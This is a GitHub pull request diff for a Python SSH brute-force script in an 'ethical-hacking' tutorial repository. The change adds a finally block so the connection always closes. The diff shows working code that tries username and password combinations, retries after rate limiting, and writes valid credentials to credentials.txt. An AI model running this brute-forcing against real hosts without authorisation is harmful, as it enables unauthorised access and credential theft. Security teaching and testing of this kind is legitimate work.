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close ssh connection when done with it #50

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Merged
x4nth055 merged 2 commits into from
Jan 13, 2021
Merged

close ssh connection when done with it #50

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6dcc1b4
properly close ssh connection after successful connection
Jan 5, 2021
d4c969c
ensure ssh connection is always after we are done with it
Jan 5, 2021
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13 changes: 8 additions & 5 deletions ethical-hacking/bruteforce-ssh/bruteforce_ssh.py
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Original file line number Diff line number Diff line change
Expand Up @@ -22,19 +22,22 @@ def is_ssh_open(hostname, username, password):
except socket.timeout:
# this is when host is unreachable
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}")
return False
returning = False
except paramiko.AuthenticationException:
print(f"[!] Invalid credentials for {username}:{password}")
return False
returning = False
except paramiko.SSHException:
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}")
# sleep for a minute
time.sleep(60)
return is_ssh_open(hostname, username, password)
returning = is_ssh_open(hostname, username, password)
else:
# connection was established successfully
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}")
return True
returning = True
finally:
client.close()
return returning


if __name__ == "__main__":
Expand All @@ -56,4 +59,4 @@ def is_ssh_open(hostname, username, password):
if is_ssh_open(host, user, password):
# if combo is valid, save it to a file
open("credentials.txt", "w").write(f"{user}@{host}:{password}")
break
break